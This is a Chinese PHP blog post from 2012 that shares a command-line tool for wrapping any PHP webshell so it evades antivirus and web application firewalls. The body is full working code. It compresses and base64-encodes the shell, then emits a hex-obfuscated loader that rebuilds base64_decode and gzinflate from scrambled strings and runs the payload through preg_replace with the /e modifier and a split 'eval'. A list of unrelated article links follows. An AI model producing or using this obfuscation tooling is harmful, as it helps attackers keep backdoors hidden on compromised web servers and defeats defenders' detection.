php shell超强免杀、减少体积工具实现代码


Posted in PHP onOctober 16, 2012

lostwolf写的
这不是webshell,只是个webshell免杀工具
切勿当初webshell使用
仅限免杀phpwebshell
该工具运行在 cli 模式!
如果有无法突破的文件内容过滤 可尝试下用这个工具 免杀大马!
任意php webshell 通过此工具编码之后可以饶过国内一些bt的防火墙

<?php 
/* 
Title: PHP shell nokill T00L 
Blog: exploit-db.blogcn.com 
*/ 
error_reporting(0); 
@ini_set('memory_limit','-1'); 
set_time_limit(0); 
$toolname="$argv[0]"; 
if ($argc<2) { 
baner($toolname); 
die; 
} 
$input_file= trim($argv[1]); 
$output_file='nokill_'.$input_file; 
if (file_exists($input_file)) { 
No_kill_c0de($input_file,$output_file); 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Input: {$input_file}\r\n"; 
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file; 
echo "[+] Generate success!\r\n"; 
echo "Saved to {$file_full_path}"."\r\n"; 
} else { 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
die("[-] Failed ! The File $input_file does not exist"); 
} 
function No_kill_c0de($input_file,$output_file){ 
$no_whitespace=php_strip_whitespace($input_file); 
$no_php_tag=trim(trim(trim($no_whitespace,'<?php'),'<?'),'?>'); 
$enfile=base64_encode(gzdeflate($no_php_tag)); 
$shellcode="\x3c\x3f\x70\x68\x70\xd\xa"; 
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."\xd\xa"; 
$shellcode.="\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\x66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\x66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\x27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\x58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\x28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa"; 
$shellcode.="\x3f\x3e"; 
file_put_contents("$output_file",$shellcode); 
} 
function baner($toolname){ 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Usage: {$toolname} phpwebshell\r\n"; 
} 
?>
PHP 相关文章推荐
php中的一个中文字符串截取函数
Feb 14 PHP
PHP下10件你也许并不了解的事情
Sep 11 PHP
PHP技术开发技巧分享
Mar 23 PHP
PHP中获取内网用户MAC地址(WINDOWS/linux)的实现代码
Aug 11 PHP
PHP的可变变量名的使用方法分享
Feb 05 PHP
PHP输出时间差函数代码
Jan 28 PHP
php中OR与|| AND与&amp;&amp;的区别总结
Oct 26 PHP
codeigniter框架批量插入数据
Jan 09 PHP
Zend Framework教程之Zend_Registry对象用法分析
Mar 22 PHP
php将html转为图片的实现方法
May 19 PHP
PHP实现根据数组某个键值大小进行排序的方法
Mar 13 PHP
php如何获取Http请求
Apr 30 PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
域名和cookie问题(域名后缀)
Oct 10 #PHP
You might like
漫威DC即将合作联动,而双方早已经秘密开始
2020/04/09 欧美动漫
PHP设计聊天室步步通
2006/10/09 PHP
PHP设计模式之迭代器模式的深入解析
2013/06/13 PHP
PHP中md5()函数的用法讲解
2019/03/30 PHP
jquery的clone方法应用于textarea和select的bug修复
2014/06/26 Javascript
AngularJS iframe跨域打开内容时报错误的解决办法
2015/01/26 Javascript
整理Javascript基础语法学习笔记
2015/11/29 Javascript
基于JavaScript实现树形下拉框
2016/08/10 Javascript
Bootstrap基本样式学习笔记之图片(6)
2016/12/07 Javascript
用Nodejs搭建服务器访问html、css、JS等静态资源文件
2017/04/28 NodeJs
基于easyui checkbox 的一些操作处理方法
2017/07/10 Javascript
深入理解 Koa 框架中间件原理
2018/10/18 Javascript
webpack3里使用uglifyjs压缩js时打包报错的解决
2018/12/13 Javascript
JS使用new操作符创建对象的方法分析
2019/05/30 Javascript
JS apply用法总结和使用场景实例分析
2020/03/14 Javascript
解决ant Design中Select设置initialValue时的大坑
2020/10/29 Javascript
react中hook介绍以及使用教程
2020/12/11 Javascript
Python实现将绝对URL替换成相对URL的方法
2015/06/28 Python
python Socket之客户端和服务端握手详解
2017/09/18 Python
Python文本统计功能之西游记用字统计操作示例
2018/05/07 Python
Python、 Pycharm、Django安装详细教程(图文)
2019/04/12 Python
Python通过递归获取目录下指定文件代码实例
2019/11/07 Python
python GUI库图形界面开发之PyQt5表格控件QTableView详细使用方法与实例
2020/03/01 Python
Python基于xlutils修改表格内容过程解析
2020/07/28 Python
html5 css3 动态气泡按钮实例演示
2012/12/02 HTML / CSS
ghd澳大利亚官方网站:英国最受欢迎的美发工具品牌
2018/05/21 全球购物
英国电器零售商:PRC Direct
2018/06/21 全球购物
中国跨镜手机配件批发在线商店:TVC-Mall
2019/08/20 全球购物
ORACLE十问
2015/04/20 面试题
钳工实习自我鉴定
2013/09/19 职场文书
测控技术与通信工程毕业生自荐信范文
2013/12/28 职场文书
辩护词格式
2015/05/22 职场文书
深度学习tensorflow基础mnist
2021/04/14 Python
MySQL分库分表与分区的入门指南
2021/04/22 MySQL
Python用tkinter实现自定义记事本的方法详解
2022/03/31 Python
Android中的Launch Mode详情
2022/06/05 Java/Android